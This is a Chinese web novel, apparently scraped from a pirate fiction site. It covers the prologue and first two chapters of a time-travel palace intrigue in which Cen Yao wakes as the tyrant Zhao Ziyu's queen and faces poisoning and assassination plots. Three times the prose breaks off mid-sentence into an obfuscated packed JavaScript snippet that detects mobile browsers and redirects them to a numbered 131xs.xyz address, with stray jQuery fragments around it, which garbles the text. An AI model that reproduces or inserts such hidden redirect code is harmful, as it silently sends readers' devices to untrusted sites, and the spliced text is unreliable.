《我真不想谋反》 1. 楔子 哐当。 伴随着一声巨响,岑瑶又一次被惊醒了。 光线从木板缝间透进来,轻微的颠簸使她清醒了不少,岑瑶揉了揉眼睛,知道这是又过了一天。 今天已经是她被关在这个大木箱里的第三天了。 第一天被关进来的时候,岑瑶还能冲着木板拳打脚踢好一阵;等到第二天,她就转而开始威逼利诱起外面的人了;等到了第三天,也就是今天,她连骂人的力气都没有了,只能像现在这样软绵绵地蜷缩在箱子里,然后咬牙切齿地诅咒起王座上的那个混蛋。 没错,她诅咒的就是那个天下共主。 她就是要诅咒那个暴君! 实际上,事情还要从几日前说起。 厉王赵子煜举行了一场秋猎,邀请了朝中不少大臣一同参与,作为厉王的王后,岑瑶也将出席这场围猎,只不过她是坐在观赏席上的那位。 不过,聪明如她,又怎么可能放过这么好的一个机会? 毕竟从她一觉醒来发现自己回到了百余年前开始,她就已经筹谋起这场逃亡了。 她岑瑶是谁啊? 盛京之中数一数二的名门贵女,父亲是天子亲封的武安侯,长兄更是朝中赫赫有名的大将军,她从小便是众星捧月般的存在,又怎能料到自己身上会发生如此诡异的事情? 让她回到过去便就罢了,还偏偏让她来到了前朝暴君的发妻——瑶姬的身体里。 若岑瑶没记错,这暴君的下场可不怎么样,而瑶姬的遭遇也好不到哪去。 因着暂时没能找到回家的办法,岑瑶只好硬着头皮在王宫里蹦跶了一段时间。 她是一朝王后,想要混出宫简直难于上青天,但若是找准时机... 于是,岑瑶便将目光锁定在了这场秋猎上。 趁着厉王专注于筹备围猎的空当,岑瑶找来心腹婢女小桃,让其替她寻一帮私兵,等她跟随护卫前往猎场时,再让这群私兵伪装成“山匪”将她“劫持”下来,然后平安送出王都。 为了避免出现意外,岑瑶还特意叮嘱过小桃,先给这群人一半的银子作为定金,剩下的钱,要等她平安离开王都之后才付齐。 所以,当她的一队护卫在前往松山的路上被“山匪”拦下时,岑瑶心底可谓是毫不慌张,但面上,她还是做足了样子,又是哭闹又是哀求的,假装自己是真的被人给“挟持”了。 等这群人将她关进木箱拉车运走时,她依旧镇定自若,甚至还在心中暗喜自己成功摆脱了邪恶暴君和家族的掌控。 但还没等岑瑶高兴多久,她就发现事情有些不对劲了。 因为这群绑架她的“山匪”好像根本不知道什么定金,也没听说过什么计划,他们根本无视岑瑶在木箱中的叫喊,除了她生理需要时会将她带出箱子之外,其他时候根本没人会搭理她。 这下完蛋了。 岑瑶脑海里只剩下这一个想法。 事到如今,难道她就只能听天由命了? 此刻又是一阵晃动传来,岑瑶感觉自己的头昏沉沉的,恍惚间,好似有人将木箱抬了起来,穿透木板的刺目光线很快消失了,周遭渐渐安静下来,岑瑶蜷缩在木箱里,听到外面隐约传来了脚步声。 很快,有人将锁在上方的木板掀开了,岑瑶扭头向上看,只见一个年轻的男人正站在箱外看向自己。 “娘娘,好久不见。”男人脸上噙着冷酷的笑意。 等下,这谁啊? 岑瑶一时有点没搞清楚状况,紧接着,她听见男人开口了。 “在下等了娘娘这许久,却一直没收到消息,娘娘可是忘记自己立下的承诺了?” 承诺?什么玩意? 岑瑶听得一头雾水,但根据以往种种倒霉的背锅经历来看,眼前此人应当也是与王后瑶姬有着什么暗中往来的。如此一想,岑瑶倒也不再紧张了,见对方没有伤害自己的意思,她认为眼下的当务之急还是先从这个破箱子里出来。 于是岑瑶眨巴两下眼睛,随口接话道:“没忘,当然没忘,我能先出来吗?” 男人闻言脸色缓和了些许,随后转身从箱子旁离开了,岑瑶明白这是默许了的意思,她扭了扭僵硬的脖子和腰,然后费力地从箱子里爬了出来。 只见她所在的地方像是一间废弃的茅屋,屋门口守着几个绑她过来的彪形大汉。 整整三天都窝在木箱里,岑瑶只觉浑身的骨头都要散架了,她前脚才刚迈出箱子,后脚就感到双腿一阵发麻,整个人直接瘫坐在了地上。 …嗯,要是早知道会这样,制定逃跑计划前就应该先让小桃挑个良辰吉日的。 但现在再说这些也没什么用了,岑瑶勉强扶着箱子站了起来,下一刻,只见男人朝她走了过来,这次,他手中还握着一个精致的小瓷瓶。 “既然娘娘还记得我们之间的承诺,那就要尽快兑现才是,不然,我也无法确保娘娘日后无虞。” “这是我从西域商贾手中拿到的好东西,无色无味,只要下到饭菜之中,就连宫中的御医也束手无策。” ? 这是在威胁她,要让她...下毒? 岑瑶感觉自己有点懵,男人此刻已经将瓷瓶递到了她面前,岑瑶一时接也不是,不接也不是,想到自己还有逃跑这个首要任务在身,岑瑶便咬咬牙,一把接过了瓶子。 管他让自己毒谁呢,反正她也不准备回去了,先糊弄过去再说。 “你放心,我速战速决。” 男人这才露出了满意的笑容,但很快,他的脸上又闪过一丝愤恨。 “三哥的死,我一直耿耿于怀。我知娘娘对三哥情意深重,那赵子煜不过是贱婢所出,竟胆敢窃取王位!若是不能为三哥报仇雪恨,我等誓不为人…” ... 不是,搞了半天,这是要让她谋杀亲夫? 照此人的话来看,他应当就是厉王的某个异母兄弟了,要是岑瑶没记错,典籍中记载,除了后面逼宫的那个睿王以外,剩下的那几个废物兄弟可都是她夫君的手下败将啊。 暴君你杀不了,你就让我来? 岑瑶在心里啐了一声,她又不是傻子,怎么可能就这样被人当成马前卒使唤了? 虽说她也在心底暗骂了那暴君百十来回了,但谁输谁赢她还看不出来吗?要是真帮了眼前这蠢货,她连自己怎么死的都不知道了。 心中虽然这么想,但岑瑶面上还是给出了一个“我办事你放心”的微笑,男人见此也不再废话,转头扬声喊来了外面的人。 “你们几个,送娘娘回松山吧。” 岑瑶闻言面色一变,急忙冲几人摆摆手道:“欸!不用不用,我自己回去就成!” 她费尽心机策划逃跑,被这群人给坑了也就算了,现在还要把她送回去? “此处离秋猎的松山不算太远,来时他们几个怕被人发现,这才委屈娘娘您睡在箱子里。” 男人这会看似心情不错,他不由分说地领着岑瑶来到了后院。 “这里有我事先备好的马,娘娘回程时骑马便可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446842|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下人们会一路护送您。” ... 岑瑶这回是彻底无法了,若是她继续推辞下去,只怕会惹人生疑,无可奈何之下,她只好骑上马,一路跟随着这群人往来时的方向去。 就这样一连行进了大半天,岑瑶他们才终于抵达了松山脚下,那几人直至看她踏入林中,才肯放心牵着马离开。 …岑瑶仰头望了望天,此时日头已然西斜,她自知这次是跑不成了,只能先摸回营帐,日后再慢慢寻找机会。可这松山如此之大,她虽知猎场设在其中,却不知究竟是在何处,只得一路灰头土脸地摸索着前行,直到太阳彻底落山,岑瑶还仍在林中徘徊。 她并非是寻常的闺阁小姐,昔日还曾与父亲和长兄一同行军,因而有过野外扎营的经验,但却也未曾独自一人待在这种环境下。 此刻说不害怕是假的,岑瑶只能暗暗给自己打气,强撑着疲惫的身躯继续前进,因为她知道,松山夜里会有很多走兽出没,否则围猎也不会选在此地。 就在岑瑶快要筋疲力竭之时,忽听远处传来一阵马蹄声,她心中一喜,也顾不得被杂草划伤的脚踝,只急切地往声音的来处去。 不料下一刻,一枚箭矢生生从她的身侧刮过,岑瑶脚步猛然一顿,背上当即惊出了一层冷汗。 此时天色已晚,她许是被人当成了猎物对待,想到这,岑瑶便一动不敢动,急忙张口扬声道:“不要放箭!” 很快,马蹄声就停了下来,岑瑶听见林间传来窸窸窣窣的响声,伴随着一阵微风吹过,她闻到了男人身上熟悉的香气。 “阿瑶!” 在夜幕彻底降临之前,赵子煜用力地抱住了她。 许是因为这一路太过疲累波折,又或是因为这声“阿瑶”让她想起了分别已久的真正家人,所以这一刻,岑瑶竟抑制不住心底的委屈来。 “...陛下。”她微微红了眼眶。 男人轻抚着她的背脊,试图安抚她的情绪。 “我已经派随行的士兵去找你了,你还好吗?有没有受伤?” 岑瑶无声地摇了摇头,她不知道这一切究竟要从何说起,如果她向这个男人坦白一切,那么他会有什么反应?他会帮助她吗?他们已经朝夕相处了这么久,或许她早该把一切都… 岑瑶动了动唇:“我——” 下一刻,只听男人在她耳边轻叹一声。 “六弟行事向来鲁莽,这几日他都带你藏去哪里了,嗯?” 周身的血液仿佛在顷刻间凝固下来,岑瑶的身体僵在原地,落在耳畔的嗓音分明是一如既往的温柔,可她却感到一阵恶寒从背后生出。 “没关系,阿瑶,你同他见面,我不会生气——因为你是绝对不会从我身边逃走的,对不对?” 赵子煜的嗓音中带着微不可察的笑意:“让我猜猜看,他是怎么和你说的,是要你给我下毒吗?毕竟六弟从来都不会用光明正大的手段...” … 岑瑶的脸颊贴在男人的胸前,原本还盘桓在她心头的那股委屈劲此刻已然烟消云散。 毕竟要是在这个男人面前流下一滴泪,那今晚简直要糟糕得不能再糟糕了,而试图向这个可怕的家伙敞开心扉的自己,更是无可救药。 “他没说要我给你下毒,他让我一剑要了你的命。” 岑瑶觉得她这话没说错,毕竟她可是原封不动地将他在史书上的结局提前告诉了他。 嗯,没错,在她找到办法回去之前,就让她与这个混蛋一直斗下去吧。 2. 第一章 “靖安七年,大寒,厉王崩于殿前。” “忠勇将军黄武冲至宫中,唯见‘疯后’手持长剑跪于殿内,而厉王则倒在其旁...” 日光越过窗棂映照在岑瑶的脸上,夫子正讲到慷慨激昂之处,她却已不知何时打起了瞌睡,被压在臂弯下的书册也皱了几层,上面还隐隐能看出洇湿的痕迹。 “岑小姐,你可知我方才提到的问题该当何解?” 一道轻喝惊动了窗前的小鸟,岑瑶迷迷糊糊地睁开眼,却正对上夫子怒目横眉的表情。 她这会脑袋还不太清明。 先前在梦里,岑瑶正与兄长一同策马围猎,还猎到了一只大兔子,这下兔子没了,讲学也是半个字都没听进去。 默了半晌,她才慢吞吞地回道:“可是讲到...前朝女诫?” 夫子见此直摇头。 “岑小姐出身将门世家,可是这习武之事乃是男子所为,岑小姐应当多专心于古书典籍才是。” ...看来是她回答错了。 岑瑶心中暗嫌夫子古板,她本还想反驳说自己射箭的技艺和自家二哥不相上下,却忽听殿内另一人开口道:“夫子,我倒是想到了个解法。” 岑瑶偏过头看去,说话的是郑太傅家的二小姐郑淑仪,只见对方挑眉睨了她一眼,而后徐徐开口道:“那厉王赵子煜乃是罪大恶极之人,为夺取王位不惜弑兄,迫使太子自刎于王都,此乃罪一。” “登基后不过几年,便将功臣褚氏一脉尽数屠戮,还以凌迟之罪处决了贤臣,此乃罪二。” “虎毒尚且不食子,厉王却将其与王后褚氏之子投入井中,还借此在宫中设宴款待群臣,此乃罪三。” “此等残暴不仁、丧心病狂之徒不仅不配为王,更是不配为人。依我看,厉王死有余辜,睿王起兵乃是匡扶社稷的壮举,若想还天下公道,唯一的办法就是——推翻暴君,另立明主。” 原是谈起了前朝暴君赵子煜。 岑瑶抬起眼皮瞟了一眼坐在不远处的郑淑仪,心中不禁暗笑这郑二小姐当真是天真无邪,坐在宫里竟还敢大放厥词,称“谋逆”为壮举。 不过,她倒也觉得对方说的在理,毕竟岑瑶孩童时就听人提起过这遗臭千年的名字。 赵子煜。 弑兄杀子,罔顾人伦。 他本是宫中侍婢所出,始于微末受尽冷眼,却不知怎的得了权贵褚氏的辅佐,一路扶摇直上,登基称王,而后短暂地开启了一段政通人和的时期。 可惜好景不长,不过几年过去,这位被奉为明君的帝王就如同换了个人一般。 先是过河拆桥,处死了褚氏一脉的不少功勋子弟,而后又党同伐异,以酷刑处决了几位有名的贤臣,一时使得朝中人心惶惶,反心四起。 可厉王荒唐的行径却丝毫没有收敛,他开始整日在宫中饮酒作乐,称病不愿上朝。 一次宫宴过后,他竟将自己襁褓中的孩童掷于井内,并将王后褚氏囚于宫中,不允许任何人前去探望。 自此,越来越多的人开始弹劾起厉王的统治,这个王朝的气数如同秋后的蝉鸣一般,一声比一声嘶哑,一声比一声凄凉。最后在一个冬日里,王后褚氏用一把长剑了结了这位暴君的性命,也让史书翻开了新的一卷。 岑瑶回想着自己在府上典籍里看到的内容,却总觉得有些奇怪。 此等滥杀无辜的残暴君王,沉迷享乐荒于社稷,却让在位期间的民生大有改善,百姓夜不闭户,入仕之风盛行。 这不是前后矛盾吗? “罢了罢了,今日就讲到这里吧。” 夫子话音刚落,岑瑶便立刻精神起来,那些一时兴起的疑惑转眼间也被抛之脑后了,眼见着夫子夹着书卷踏出殿外,她也一刻都不想耽搁,刚准备起身离开,就瞧见三公主正朝着她这边走来。 岑瑶急忙起身行礼,公主则快步上前将她扶了起来。 “岑小姐不必多礼,这几日你入宫伴读,不知道还适不适应?” 还适应? 这份苦差事她可是一天都不想干了! 天还蒙蒙亮就要被丫鬟强行叫醒,一边打着哈欠一边坐着马车入宫,还要听夫子讲些无聊的大道理,任谁谁愿意来啊? 当然,这些话是不能说给公主听的,岑瑶咽下这口苦水,然后干巴巴地笑了两声,开口回道:“回公主殿下,已经适应了。” “那就好,我还担心你会嫌闷呢!” 二人就这样一同踏出殿门,三公主挎着岑瑶的手臂,一边走一边道:“夫子平日里张口闭口都是女则女诫,今日倒是讲起了些新鲜的,我看那郑家小姐也是博学多才,你跟她相熟吗?” “认识,倒也不算太熟。” “是吗?我看她看你的眼神可算不上友好,许是因为我二皇兄的缘故吧。” 闻言,岑瑶的嘴角抽了抽。 这话说得没错,她和这郑淑仪自小便认识,这些年来一直是点头之交,并无嫌隙,不料自从传出圣上有意将自己许配给二皇子的风声后,这郑淑仪便开始处处与她作对,让岑瑶烦不胜烦。 至于圣上有意将她许配给皇子这件事...更是令岑瑶头大。 原本她还当此事是个莫须有的谣言,谁料皇后竟突然传了口信到家里,说是想请她来宫中做公主的伴读,面对此等“殊荣”,岑瑶哪敢不应,只好硬着头皮入宫来了。 “你放心,我二皇兄他可是一表人才,京中不知多少世家小姐都将他视作梦中情人呢,你若是见了他,定然也会心悦于他的。” 岑瑶有些尴尬地笑笑:“...公主莫要打趣我了,皇子殿下英勇神武,怎是我等能高攀得起的?” 三公主闻言大笑起来:“你说话真是有趣!母后说你平易近人,甚好相处,我原本还不相信,没想到果真如此!” 二人就这样一同走到了宫道上,没过多久,就有宫人前来传唤公主,要其前去凤仪宫。望着公主渐行渐远的背影,岑瑶不禁松了口气。 临入宫前,父亲就曾叮嘱过她,如今宫中形势有变,大皇子虽为太子,可却并非皇后所出,圣上举棋不定,还不知道日后坐在那张龙椅上的会是谁。 他们岑家此时绝不能站错了队,否则是要祸及满门的。 岑瑶一边思衬着父亲的话,一边继续往出宫的方向走,忽而一道白色的影子从宫道间穿过,她跟上前去,发现原是一只漂亮的小白猫,此刻正舒服地卧在墙头。 “喵喵。” 岑瑶觉得这小猫甚是可爱,于是便学着猫叫声,想将它哄下来,不料这小白猫却从墙上一跃而下,头也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446843|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回地往另一条小道上去了。 岑瑶环顾四周,见宫道上这会并无旁人,便就跟了上去,到了一处宫殿的门前时,小猫停下脚步回头望了她一眼,随后便越过门槛,消失不见了。 此处是一间破败的宫殿,宫门上还挂着一把断了的锁,岑瑶走上前去,抬手轻轻将门推开,发现院内种着一棵发黑的枯树,枯树后面坐落着一间偌大的宫殿,就连飞檐翘角都是金闪闪的。 岑瑶不由自主地跨过门槛,踏入了院内,此刻殿内隐隐传来猫叫声,她绕过枯树,上前推开虚掩着的殿门,伴随着一阵吱呀呀的响声,屋内的陈设也尽数出现在她眼前。 正当岑瑶准备迈入殿内时,忽闻院外远远传来有人说话的声音,她猛然回过神,心中顿时一惊,生怕被人发现自己在宫内闲逛,于是便急忙转头往外走。 还不及她踏出院门,外面的人就已经走近了,岑瑶只好暂且闪身躲在门后,祈祷不会有人进来发现自己。 “咦,这门怎么开着?”门外传来宫人的交谈声。 “这锁头坏了,估计是被风刮开了。你去内务府领一把新的吧,这地方不吉利,得锁起来。” “不吉利?” “你没听人说吗?这是前朝那个‘疯后’住过的地方,院内的井里死过人,据说现在还动不动会传出哭声呢。” 另一人闻言似是被吓到了,支支吾吾半天才走远,直到两人的脚步声都听不见了,岑瑶才急忙从院内跑了出来。 她回望了一眼这间破败的院落,回想起先前偷听到的内容,唯恐自己惊扰了此处的鬼魂,于是便战战兢兢地回身冲空气作了个揖,而后才匆匆离去。 当天晚上回到家,岑瑶躺在床上翻来覆去睡不着,一想到白天的见闻,就感觉后背一阵发凉,念了几遍经文才好不容易有了睡意。 恍惚间,她好像梦见自己正孤身坐在大殿内,双腿之上放着的是一个精致的木匣,岑瑶轻手轻脚地将其打开,却见里面赫然放着一枚凤印!她顿时吓了一大跳,竟失手将木匣掷到了地上,哐当一声,凤印也从匣子里掉了出来。 岑瑶骤然惊醒,她睁开眼睛,只觉浑身上下都痛得厉害,就连喉咙也如同着火了一般,她下意识想要张口喊人,却一点声音都发不出来。 岑瑶一时又惊又怕,她从床上爬起来,却赫然发现自己正躺在一间陌生的宫殿里,殿外传来噼里啪啦的雨声,呜呜的风声不时夹杂其中,像是要砸穿殿门一样。 突然间,门被人从外面推开,岑瑶眯着眼,好似看见一道明黄色的身影正朝着自己走来,下一刻,对方猛地将她搂进怀里,岑瑶感觉自己坠入了一个冰冷的怀抱,耳边是男人温热的吐息声。 “阿瑶!黄将军大胜!我们赢了,是我赢了!” 岑瑶张了张口,却一个字也说不出,下一刻,她感到男人更用力地搂紧了她,像是要把她的骨头都碾碎在这个怀抱里一样。 她感到他凑近了自己的耳侧,此刻一声惊雷从殿外传来,却远远比不上耳边的低语来得悚然。 “瑶姬,我的好瑶姬,黄将军把我三哥的头颅也一并带回来了,你不会再想着他了,是不是?” 岑瑶喘着粗气,她将下巴搁在男人的肩膀上,背上透出了一层冷汗。 不妙,这下真的大事不妙了。 3. 第二章 自那晚过后,岑瑶一连昏睡了两日,才终于有了点精神。 宫里的御医说她这是染了风寒,加上一时急火攻心,这才病得厉害。至于失音这个情况,他们一时也没想出什么良策,只能先给她开了祛火调养的药方,让她卧床静养一段时间看看。 看着眼前偌大的宫殿,还有一张张陌生的面孔,岑瑶甚至一度怀疑自己还在做梦,而且还是场噩梦。 一直守在她床前的婢女见她面色有所好转,不禁喜极而泣起来。 “娘娘,您若是再不好起来,青兰真是愧对老爷和夫人的嘱托。” 看来是从自家府上带来的丫鬟。 岑瑶在心底默默叹了口气,心道这小丫鬟是忠心错付了,自己压根就不是她的主子。没过一会,只见那青兰擦擦眼泪,转而露出一副愤愤不平的神情。 “娘娘,您都病得这般厉害了,可陛下在这个节骨眼上竟还收下了御史送来的乐伎,实在是令人寒心!” “娘娘乃是千金之躯,可陛下却不顾旧情,也不顾褚氏的颜面,若非太子殿下棋差一招...” 青兰的话让她越听越觉得不对劲,直到那声“太子殿下”从其口中蹦出,岑瑶才后知后觉地变了脸色,随后一把捂住了青兰的嘴。 哎哎哎!说什么呢?你不要命了我还要呢! 靖安三年,厉王终于平定了内乱,他派忠勇将军前去围剿“乱臣贼子”,而这所谓的“贼子”正是昔日先王钦定的太子殿下,也就是厉王的三王兄——赵子珩。 据传,前太子赵子珩宁死不肯屈服,最后被迫自刎于王都,直到死前,他都还在大骂厉王私改圣旨,谋权篡位。 照那晚赵子煜说的话来看,现在应该就是靖安三年了。 似乎是看出了岑瑶眼中的不安,青兰一边拉开她的手,一边宽慰道:“娘娘莫不是忘了,这宫内上上下下都是我们的人,只要您不想,就连一只苍蝇都飞不出这景仪殿,更何况...”青兰面露得意之色,“更何况就算陛下在此,他又能拿娘娘您如何呢?若非有相爷辅佐,这王位哪里轮得到...” 正当此时,殿外忽而传来宫人的通传声。 “陛下驾到!” 青兰闻此急忙止住了话头,她刚一扭过头,就见岑瑶忽而两眼一闭,重新倒回了床上,临了还不忘将厚重的被子盖回自己身上,一套动作行云流水迅速非常。 “欸...娘娘?” 岑瑶冲她挤眉弄眼了好一阵,青兰才似懂非懂地退了下去,很快,一阵急促的脚步声就从殿外传来。 “陛下,娘娘她已经睡着了,您请晚些再来吧。”岑瑶听见青兰的声音在殿内响起。 片刻后,就传来殿门被人关上的声音。 这是只剩下她一个人了? 周遭此刻寂静一片,唯有桌前燃着的烛火发出嘶啦啦的微弱响声,岑瑶紧闭双眼,掖在被褥里的手脚被闷出了一层薄汗,她强忍住想要掀开被子的冲动,侧耳聆听了片刻,见一直没传出什么声响,便准备悄悄睁开眼看看。 这一睁眼倒好,岑瑶的心险些跳到了嗓子眼,只见男人不知何时已站在她的床前,正俯首望向她,仿佛已经凝视她许久了。 “你醒了。”赵子煜开口道。 这是岑瑶第一次近距离打量这个男人。 史书中记载其体态臃肿、面目可憎,可出现在岑瑶面前的不过是一个面容白皙的清瘦青年,此人目光柔和,俊俏的眉目间隐隐透着一丝倦意,看起来非但不像是个暴君,反倒像是个文弱的公子。 见岑瑶呆愣地望向自己,赵子煜面上显出了一丝笑意。 他掀开衣袍坐在了床边,温和开口道:“我已经叫那些庸医连夜为你寻药了,失音不过是暂时的,阿瑶不必担心。” 说着,他又将被褥掀开了一角,随后将岑瑶的手轻轻握在了掌心。 “前两日你病着,想来不会有什么胃口,所以我今日才吩咐宫人给你做些吃食,都是平日里你爱吃的,正好换一换口味。” 这样的场面是岑瑶未曾设想过的。 若非是听到了耳边熟悉的声音,她甚至会怀疑眼前之人并非是那残忍的暴君,抑或者那个雨夜不过是她病中的幻觉。 过了好一会,她才后知后觉地想起自己的手还被人握在掌心里,岑瑶面色有些不自然,恰逢这时殿外有宫人走了进来,她才得以趁机将手挣脱出来。 “陛下,娘娘。” 为首的宫人依次冲着他们二人行了个礼,跟随在其后的是几个手持托盘的婢女,几人将菜品一一摆放在桌子上,随后便识趣地退了下去。 这两日她病着,吃的饭菜里半点荤腥都不沾,此刻看见这么一大桌珍馐佳肴,肚子顿时不争气地叫了起来,可要让她与这赵子煜同席... 正当岑瑶倍感压力之时,身侧的男人忽而开口。 “我还有些奏折需要处理,今日就先不陪阿瑶了,外面天凉,若是没有要紧的事,阿瑶就先待在这景仪殿吧,莫要去别的地方了。” 说到最后一句话时,赵子煜的脸上闪过一丝似笑非笑的神情,岑瑶看着他起身离去的背影,倒是松了一口气。 不用在暴君手底下讨饭吃,还有什么可犹豫的!况且,要想找法子回去,也得先吃饱了才有力气啊。 如此一想,岑瑶便迫不及待地拿起筷子吃了起来,一顿饱餐过后,她只觉一阵阵困意袭来,一旁的青兰见她眼皮直打架,便主动问道:“娘娘可要小憩一下?” 闻言,岑瑶忍不住打了个哈欠。怪了,往日她可从不会在白日里小憩的,许是瑶姬的身体太过虚弱,还没完全恢复? 她本还打算去找一找宫里那间上了锁的宫殿来着... 岑瑶就这样一边想着,一边昏昏沉沉地睡着了。 恍惚间,她好似听见有喧闹声从外面传来,可过了一会,一切就又归于沉静,正当她逐渐沉睡之时,一阵剧烈的晃动让她彻底苏醒过来。 “娘娘!不好了!” “有刺客混进宫里了!” 岑瑶猛然睁眼,入目的是青兰惊恐的神情。 外面的天不知何时已经黑了下来,岑瑶急忙掀开被子,踉踉跄跄地爬下床,一旁的青兰见状扯过一件外袍披在了她的身上,眼见着岑瑶要往殿门那边去,青兰急忙拦在了她的身前。 “娘娘!您可千万别出去啊,外面不安全!” 原来那阵喧闹声并不是她在做梦。 岑瑶停下脚步,侧耳聆听着外面的声音,果真隐隐听见有宫人四处大喊“有刺客”,不时有火光从窗前闪过,她立在原地,绞尽脑汁地回想着典籍中记载的内容。 靖安三年...有记载过宫中行刺吗? 岑瑶这会实在后悔自己没有多读些史书,站在一边的青兰忧心忡忡道:“娘娘,我们就躲在殿内吧,千万不要出去,指不定很快就有禁军抓到刺客了。” 岑瑶点了点头,此刻即便她们出去,也实在帮不上什么忙,说不定还会伤到自己,况且这宫内也有禁卫军... 突然间,殿外响起一阵急促的敲门声,紧随其后的是内侍焦急的声音。 “娘娘,陛下派小人来接您,现在这里不安全,小人带您去密道里避一避。” 青兰闻言一喜,刚想上前去开门,岑瑶却一把拉住了她。 “娘娘?您在宫里吗?” 一种难以言喻的不安涌上心头,岑瑶皱起眉头,此刻忽然回想起赵子煜临走前似笑非笑的神情,她咬了咬唇,随即冲着青兰摇头。 后者当即心领神会,转头便冲着门外高声道:“外面的是何人?陛下现下在何处?” “小的是冯总管身边的,前几月还给景仪殿送过几次炭火——”一阵短暂的停顿过后,只听那人继续道,“亲卫已经先行护送陛下过去了,娘娘也快些走吧。” 青兰长呼一口气,对着岑瑶低声道:“娘娘不必担心,此人我知道,是跟着陛下身边的冯清做事的。” 冯清? 岑瑶总觉得自己在哪里听到过这个名字,但眼下却怎么也想不起来,此时外面的喧闹声愈发大了,在又一阵敲门声响起时,岑瑶终于点了点头。 青兰见此迅速上前拉开殿门。 “事不宜迟,你快快带路吧!” 站在外面的内侍垂首“诶”了一声,随后便带着殿内两人往外走,一路上,不时有举着火把的禁卫军从她们身旁匆匆经过,待走到一处偏僻的宫道上时,岑瑶突然止住了脚步。 不对。 这一切不对劲。 宫中既然混进了刺客,那么想必是奔着厉王去的,禁卫军会优先保护他们的主子,可先前路上遇到的士兵却都往相反的方向去了,说明那赵子煜现在定然不会在这边,而这内侍却... 先前她过于紧张,竟忽略了这一点,岑瑶环顾周围,只见漆黑的宫道上不知何时仅剩她们几人的身影,宫墙内喧嚣的声音此刻已经离她们很远了,内侍手里提着的灯笼被风刮得摇摇晃晃,晃得岑瑶眼皮突突直跳。 ...糟了。 岑瑶当机立断,一只手猛地拽过身侧的青兰,另一只手则迅速地捂住了后者的嘴巴。 那内侍本还在前面走着,却突然发觉身后好像没了脚步声,他扭头一看,只见宫道上此刻空无一人,哪还有半点王后和婢女的影子。 “怎么回事...” 他慌忙举起灯往来时的路上照,丝毫没察觉到背后探出的那道人影,刚欲往回走时,却感到有只手忽而搭在了他的肩膀上,此人顿时打了个激灵,哆哆嗦嗦地转过头。 “大人...刚才她们还在此处,请容小的先去找找...” 下一刻,却见那灯笼掉在地上,伴随着一阵呜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446844|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽声,被风吹得滚了一圈,然后燃起一团火来。 * 有人要杀她。 不,准确来说,是有人要杀瑶姬。 岑瑶压低了脚步声,快步往来时的方向走,她身后是面色惨白的青兰,后者大气都不敢喘一下,只加快步伐紧跟在后面。 没过多久,她们就听见了士兵相继奔走的吵闹声,岑瑶脑内紧绷着的那根弦终于松懈下来,待快要到景仪殿时,一个高大的人影陡然从一边冲出,险些与她撞到一起。 “娘娘小心!”青兰急忙上前扶住她,只见出现在她们面前的是一个持剑的禁卫。 岑瑶立刻警惕起来,不料对方在看清楚是她们后,当即便冲着岑瑶行了一礼。 “娘娘!臣救驾来迟!” “在下陈述,曾受恩于褚相,娘娘莫怕,臣绝不会伤害娘娘!”说到这句话时,此人压低了声音,似是看出了岑瑶眼底的警惕,他一边说着,一边将剑收入鞘中。 此刻一队人数不少的禁卫正从她们身侧跑过,岑瑶瞥见了陈述谨慎的目光,但下一刻,她就绕过此人,跟在了那群禁卫后面往另一个方向去了。 “娘娘!”陈述见状一时没反应过来,他刚想上前拉住岑瑶,就被王后犀利的目光震慑地心下一惊,缩回了手。 岑瑶见他垂手停在原地,这才收回目光。 在这个鬼地方,她谁都不能相信,而跟在这群士兵后面,是因为她必须要弄清楚今晚究竟是怎么回事,而且放眼整个王宫,没有任何地方会比暴君的身侧更安全。 没过一会,一座宏伟的宫殿就出现在岑瑶眼前,她认得出来,此处是皇帝处理政务的地方。 背上的衣料已经被汗濡湿,脚下的步伐也越来越沉重,但岑瑶不在乎,眼见着走到大殿跟前,她直接越过这群禁卫,冲到了殿门口。守在门外的宫人见到她,就像见到了鬼一样,还没来得及拦住她,岑瑶就已经用力推开了殿门。 这一下足以让这具孱弱的身体气喘吁吁了,但她却紧咬下唇硬提着一口气迈入了殿中,身后的青兰也想追着进去,却被宫人拦在了外面。 岑瑶径直走进殿内,只见那个熟悉的身影正立于案前,直到她走到离他几步远的地方,对方才堪堪停下了手上的动作。 “阿瑶?你怎么来了?”赵子煜面露讶异,放下了手中的笔。 看着男人镇定自若的模样,还有他案上那幅未完成的画,此前埋藏在岑瑶心底的种种异样此刻串联在了一起—— 令人昏昏欲睡的菜肴,赵子煜临走前留下的话,那个引她离宫的内侍... 还有得知刺客入宫却无动于衷的王君。 